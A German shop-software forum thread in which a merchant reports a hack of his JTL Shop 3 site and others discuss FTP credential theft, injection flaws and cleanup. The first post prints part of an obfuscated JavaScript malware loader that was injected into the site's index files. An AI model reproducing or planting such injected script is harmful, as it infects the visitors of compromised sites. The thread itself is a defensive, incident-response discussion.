JTL Shop 3 gehackt...

Coldstorm

Aktives Mitglied
2. März 2011
124
0
Hallo,

ich hatte einen Angriff auf meiner Seite. Seite ist noch im Wartungsmodus, aber trotzdem hatte ich ein Malware Script in der index.html, index.php, sämtliche Unterordner...
Es wurde folgendes eingefügt:
Code:
<!-- . --><script>el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.replaceChild(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="/aegl =cNbi{ufm >[nhtEo})\"<'v,A?Bp0Trq-.;:w]sCyd(1";ar2="R60c0c-20c12c-32c172c-4c-100c-60c20c8c-48c64c8c76c-144c-4c72c4c-68c-8c48c-48c64c8c96c-48c56c-44c-136c8c20c-28c52c-48c184c-84c-72c52c100c-4c-76c-12c-28c68c36c-76c-52c16c0c0c-20c12c92c-140c52c-48c136c48c-96c64c-1

usw....was hat das zum bedeuten? Reicht es aus, wenn ich nur das Script rausnehme oder muss ich komplette Backup reinspielen?
Muss ich nur die index.php und admin/index.php überschreiben oder sind da noch mehr dafür anfällige Dateien?
Wie kann so ein Angriff passieren? Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?
 

MBesancon

Administrator
Mitarbeiter
1. Oktober 2010
2.085
217
Erkelenz
AW: JTL Shop 3 gehackt...

Ich würde dir empfehlen alle Passwörter zu ändern und aus Sicherheitsgründen nur die Datenbank zu behalten. An deiner Stelle würde ich alle Dateien neu hochladen.

Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch. Bei der Verbindung schreibt er sich dann in nahezu alle Dokumente die dem gewünschten Muster entsprechen. Meistens sind das Dateien mit dem Namen index.html oder index.php o.ä. Von daher mein Rat:

Alle Passwörter ändern! Dateien neu einspielen!
 

Coldstorm

Aktives Mitglied
2. März 2011
124
0
AW: JTL Shop 3 gehackt...

Der Zugang erfolgt über den eigenen PC? Ich hab das schonmal gehabt, dann hab ich PC komplett neu aufgesetzt und nach gut einer Woche jetzt wieder gehackt...
Ich hab in Strato jetzt den Schreibzugriff für das komplette Verzeichnis aktiviert...darf ich das? Oder hindert das JTL Shop in irgendeiner Weise ?

Auszug:
Schreibschutz für gesamten Webspace oder einzelne Verzeichnisse

Auch beim Schreibschutz gilt, dass nach Aktivierung in der Grundeinstellung alle Verzeichnisse schreibgeschützt sind. Sofern Sie für einzelne Verzeichnisse den Schreibzugriff erlauben möchten, können Sie diese auf die "Ausschlussliste" setzen.

Bitte beachten Sie, dass der Ordner cgi-data ausgeschlossen sein muss (nicht geschützt), wenn Sie CGIs aus der STRATO CGI-Bibliothek verwenden, da die Scripte sonst nicht ausgeführt werden können.

Das trifft auch auf einige Funktionen des Kundenservicebereichs zu. Wenn Sie den Website-Configurator verwenden, um z. B. eigene Fehlerseiten oder den Verzeichnisschutz einzurichten, darf das Verzeichnis cgi-data sowie der Ordner, für den Sie die Einstellungen vornehmen möchten, nicht schreibgeschützt sein.


Um für ein oder mehrere Verzeichnisse den Schreibzugriff zu erlauben, wählen Sie diese bitte entsprechend aus der Liste aus und klicken jeweils auf Verzeichnis hinzufügen. In der "Ausschlussliste" können Sie die bereits hinzugefügten Verzeichnisse sehen.

Geänderte Einstellungen werden übernommen, wenn Sie auf Speichern klicken.

Möchten Sie den Schreibschutz nicht verwenden, setzen Sie die Option bitte auf Deaktiviert.
 

david

Administrator
Mitarbeiter
16. Juli 2010
2.310
170
AW: JTL Shop 3 gehackt...

Habe total sicheres FTP-Passwort oder wie kommt da jemand rauf ?

Nutzt du Filezilla und hast dein Passwort im Sitemanager gespeichert?
Dann such mal auf deinem PC nach "sitemanager.xml" und schau dir dein Passwort im Klartext an...

Das meinte Marcel mit
Der Zugriff erfolgt meistens über den eigenen PC. Ein "Schädling" kapert alle deine FTP-Zugangsdaten und geht diese der Reihe nach durch.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

Daher ist es sehr dringend an JTL-Team bitte die Lücke finden (siehe Log-Dateien von dem der es gemeldet hat) Bei Strato müssen diese vorhanden sein. Anhand davon kann man sehen welcher php-Script Sicherheitsmängel enthält. Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln, dann will ich gar nicht erst weiter denken...denn massenweise Kunden haben identische Passwörter...
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

aber kann auch natürlich sein dass die FTP-Passwörter ausspioniert wurden. Hier helfen auch die FTP-Logs von Strato :) Da ich kein Strato-Kunde bin kann ich nicht sagen wie es dort aussieht. Fakt ist, es muss bei so was immer geprüft werden woher es gekommen ist, denn wenn ein Kunde die Malware vom Shop kriegt so kommt er kaum wieder!
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hallo dihegroup,

das ist ja nett, dass Du versuchst zu helfen. Aber uns die Kompetenz in Sachen Sicherheit bei der Webentwicklung abzusprechen, geht ein wenig zu weit. Bei dem Shop wurde ausserordentlich auf Sicherheit geachtet. Wir brauchen hier auch keine Schlagwörter hierzu zu googlen, da dies Grundwissen unserer Mitarbeiter ist.

Das Problem des Threaderstellers kommt definitiv über FTP.

Danach sofort updaten, da mit so was nicht zu spaßen ist, da Kunden-Daten vorhanden! Es können locker die Passwörter (in MD5 Hash-Form) von der DB mit SQL-Injection rauskopiert werden und wenn es dann klappt diese zu entschlüsseln
Hier liegst du komplett falsch - das trifft auf fast jedes andere Shopsystem zu, nicht auf JTL-Shop3. Weder speichern wir Passwörter als MD5 gehashed ab, noch sind Kundendaten in lesbarer Form in der DB hinterlegt. Alle sensiblen Daten sind verschlüsselt.
 

Bremer

Aktives Mitglied
10. September 2010
121
0
AW: JTL Shop 3 gehackt...

Wie stellt man denn eigentlich fest das ein Malware Script eingefügt wurde?
Gibt es hier im Internet einen Scanner oder ein Plugin zur überwachung?

VG

Bremer
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

Gute Frage,

module habe ich hier solche noch nicht gesehen, allerdings gibt es im Admin-Bereich so was die Datei-Check. Natrürlich ist es etwas schwer, da bei mir z.B. viele Dateien verändert sind somit würde dieser Check fehlschlagen, aaaaber wenn man so was manuell steuern könnte z.B. nach dem man eine Datei-Verändert hat deren Hash-Wert abspeichert?! Allerdings ich weiß nicht so recht wie man es handhaben soll?! Denn dann müsste man diesen Wert wieder verschlüsseln?! :)))) Nur eine Idee bitte keine Steine schmeißen :)))
 

Thomas Lisson

Administrator
Mitarbeiter
24. März 2006
15.574
300
Köln
AW: JTL Shop 3 gehackt...

Hi,

der Datei Check ist eine gute Möglichkeit. Da die PHP Dateien ohnehin nicht angepasst werden sollten, ist das ein guter Indikator, dass etwas an den Dateien nicht stimmt.
 

wood-deSign

Aktives Mitglied
26. August 2008
594
0
Geilenkirchen
AW: JTL Shop 3 gehackt...

Hallo,

rein von der Logik her...
Der Zugriff erfolgt meist NICHT über FTP Programme des Admins also in diesem Fall des Shop-Besitzers. Da fählt wohl leider das Wissen im JTL-Team.

Enthält der PHP-Code Fehler in der Programierung kann sehr viel realisiert werden. Schlagwort für Google ist z.B. PHP-Source-Injection. Oder siehe auch PHP-Vulnerabilities. Da gibt es ganze Bücher für. Oder auch SQL-Injection.

kann das nicht stimmen.

Wenn es was AM SHOP wäre, gäbe es doch schon mehr solcher Fälle.

Seltsam... 2 x trifft es den selben Shop.
Andere Nutzer haben aber keine Probleme.

Mein Bauchgefühl sagt mir.. das liegt nicht am Shopcode. ;)

Gruss, Frank

Edit: wenn es ein LOCH gäbe, wäre das auf den einschlägigen Seiten schon LANGE zum verkauf angeboten worden.
Oder die Person würde damit Prahlen oder sonst was in der Art.

Hier wird irgendein ScriptKid mit ´nem Keylogger / Trojaner zugriff auf den PC bekommen haben und da dann die FTP Daten ausgelesen / genutzt haben.

DAS kann man auch leicht prüfen. Das Log beim Provider kann zeigen wer / wann / von WO welche Datei geändert hat.
 

dihegroup

Aktives Mitglied
8. April 2010
312
0
Köln
AW: JTL Shop 3 gehackt...

ist nur eine Frage der Zeit. Prallen muss man damit nicht. Es kommt auf die Besucherzahl des Shops an.

Eine Spaßgeschichte wäre ein Deface der Webseite bzw. des Shops. Eine Malware auszusetzen und dann noch in allen PHP-Dateien bzw. in vielen deutet schon auf was seriöseres hin. Anzunehmen zu dem ist, dass irgendwo auch eine PHP-Shell laufen könnte (wobei bei Strato eher nicht). So dass der Angreifer sich wieder zugang verschaffen könnte. Malware hat immer den Sinn nicht einfach jemandem zu schaden, sondern sich in andere Rechner einzunisten. Verschiedene Malware besuchen verschiedene Webseite was widerrum demjenigen Geld bringt. Also schon was seriöser als Scriptkiddy wie angenommen. Wenn viele Dateien berofen sind, dann auch hier kann man ruhig davon ausgehen, dass ein gewisser Automatismus ausgearbeitet wurde bzw. man mit einem spezielln Script gearbeitet hat, was schon die Scriptkiddys nicht mehr darin beteiligen lässt. Natürlich kann es auch nur ein Wurm sein, welcher die Passwörter vom FTP-Klaut und sich dor teinnistet, wo er die PHP-Dateien finden. Ich hoffe so war es auch und so was ist dann natürlich zu vernachlässigen, da kein Massenproblem.
 
Ähnliche Themen
Titel Forum Antworten Datum
Neu Eigene Artikel Felder im JTL Shop anzeigen lassen User helfen Usern - Fragen zu JTL-Wawi 4
Neu Hilfe bei der Entwicklung gesucht: Werde Tester für meine JTL-Shop Plugins Plugins für JTL-Shop 0
Neu JTL-Shop "Plugin-Vorlage" gesucht User helfen Usern 3
Neu JTL - Shop Adressprüfung - Erfahrungen ? Allgemeine Fragen zu JTL-Shop 2
Neu Wo ist JTL-Debug geblieben? Shopvariablen beim Shop-/Templateentwicklung sichtbar machen? Plugins für JTL-Shop 10
Neu Alte Produktbilder erscheinen im JTL-Shop trotz Löschung und neuem Upload immer wieder – JTL-Wawi enthält nur neue Bilder JTL-Wawi - Fehler und Bugs 16
Neu JTL Shop 5 Sync in JTL WAWI 2.0.0 zeigt Verbindungstest Fehlermeldung Onlineshop-Anbindung 4
Neu Rechnung im JTL Shop Kundenkonto Onlineshop-Anbindung 1
Neu Strukturierte Daten vom Typ "Produkt" werden nach Update auf JTL Shop 5.6.1 nur fehlerhaft erkannt JTL-Shop - Fehler und Bugs 3
Neu Wero für den JTL Shop? Plugins für JTL-Shop 21
Neu JTL-Shop Verkauf - Tipps? Business Jungle 5
Neu Kategoriestruktur auf JTL-Wawi in WooCommerce Shop darstellen WooCommerce-Connector 2
Neu DSGVO – Automatisierte Löschung von Kundendaten nach 10 Jahren (JTL-Wawi / JTL-Shop) User helfen Usern - Fragen zu JTL-Wawi 2
Artikel Eigene Felder kommen nur beim ersten Shopabgleich in den JTL-Shop JTL-Wawi 1.11 2
Neu welche Sync Benutzer Daten in Shop und WAWI bei neu-Hosting über JTL Allgemeine Fragen zu JTL-Shop 0
welche Sync Benutzer Daten in Shop und WAWI bei neu-Hosting über JTL JTL-Wawi 1.11 0
Neu OPC friert beim speichern von Änderungen ein nach JTL-Shop Update von Version 5.1.5 auf 5.6.1 JTL-Shop - Fehler und Bugs 1
Neu WaWi - JTL Shop - Kein Abgleich des Artikelnamen möglich Onlineshop-Anbindung 1
Neu Wawi Synchronisation mit JTL Shop nicht möglich! seit 3 Stunden was kann man machen? Onlineshop-Anbindung 1
Neu Neues Plugin: Sauberes Meta-Tracking für JTL-Shop 5 (Pixel + CAPI + Consent) Plugins für JTL-Shop 0
Neu 📢 Plugin "Kreditlimit Plugin für JTL-Shop 5 " von CIN GmbH Plugins für JTL-Shop 0
Neu Wechsel von JTL Shop 5 zu Shopify / ERP-Connector Produkte mit Variationen werden nicht übertragen Shopify-Connector 1
Neu JTL-Connector + Shopware 6: Zweite Lizenz führt zu „Invalid credentials“ und blockiert bestehenden Shop Shopware-Connector 3
Neu Betatester gesucht – Hood-Schnittstelle für JTL-Shop 5 Plugins für JTL-Shop 3
Neu Anbindung JTL Wawi an Speditionen Dienstleistung, Jobs und Ähnliches 0
Neu HTTP 500 auf /Kontakt – Route scheint intern noch zu existieren, JTL-Weiterleitung greift nicht Betrieb / Pflege von JTL-Shop 0
Direktupdate von JTL Wawi 1.10.11.0 auf 2.0 möglich? JTL-Wawi 2.0 5
Neu JTL-Wawi Update Historie User helfen Usern - Fragen zu JTL-Wawi 2
Neu JTL Shipping Fehler bei DHL Versand über WMS ? User helfen Usern - Fragen zu JTL-Wawi 2
Neu [Tool] FloTax — eBay + Billbee → DATEV/Lexoffice | §25a | OSS | Reverse Charge | von JTL-Partner Dienstleistung, Jobs und Ähnliches 0
Fehlermeldung beim Anlegen einer zweiten JTL POS Kasse in JTL-Wawi JTL-Wawi 1.11 0
Neu JTL samt Kaufland & TikTok kurz hochschießen und dann schließen/abverkaufen? Business Jungle 7
Probleme mit JTL Worker JTL-Wawi 2.0 1
JTL Variantenartikel: Kein Preis im Schema.org („price fehlt“) – Ursache? Allgemeine Fragen zu JTL-Shop 2
(gelöst) Ecomdata - JTL Worker 2.0 - Startet nicht - Schließt ohne Fehlermeldung JTL-Wawi 2.0 2
Neu Update Wawi 1.10.16.0 auf 1.11.7 -> JTL-POS Einrichtung / Updates von JTL-POS 1
Neu Anbindung von JTL zu Metro (Rechnungen werden nicht zu Metro übertragen) User helfen Usern - Fragen zu JTL-Wawi 1
Neu Seit Update auf JTL-WaWi 2.0.0.0 keine Abholung der Kundendaten bei MediaSaturn-Bestellungen JTL-Wawi - Fehler und Bugs 5
Neu Best Practices für den Export und die Automatisierung von täglichen Berichten in JTL‑WaWi User helfen Usern - Fragen zu JTL-Wawi 2
Neu WebP Bilder von JTL zu Shopware Shopware-Connector 2
Mobile Web-App für JTL-WaWi — Aufträge, Artikel & Lager direkt vom Smartphone JTL-Wawi App 0
BUG in 2.0.0 - Rest Api Server startet nicht. JTL APP nicht benutzbar JTL-Wawi 2.0 4
JTL-Wawi eBay Fahrzeugverwendung (K-Typen) wird nicht aktiviert trotz Ameise-Import JTL-Wawi 1.10 0
eBay-Vorlagenfenster rechts abgeschnitten (JTL-Wawi 2.0) JTL-Wawi 2.0 6
Neu JTL STAMMTISCH BERLIN – 20.03.2026 Messen, Stammtische und interessante Events 0
JTL-Worker speichert Einstellungen nicht JTL-Wawi 2.0 0
Neu Bestandsabgleich JTL Wawi mit Amazon JTL-Wawi - Fehler und Bugs 1
Neu Kundensupport Projekt (Mail + eBay + Amazon + JTL + KI) Dienstleistung, Jobs und Ähnliches 0
JTL-Worker-Status-Widget zeigt nichts mehr an JTL-Wawi 2.0 7
Neu Aufträge mit JTL-Pos gezahlt im Tagesabschluss (Lexware Office) Allgemeine Fragen zu JTL-POS 0

Ähnliche Themen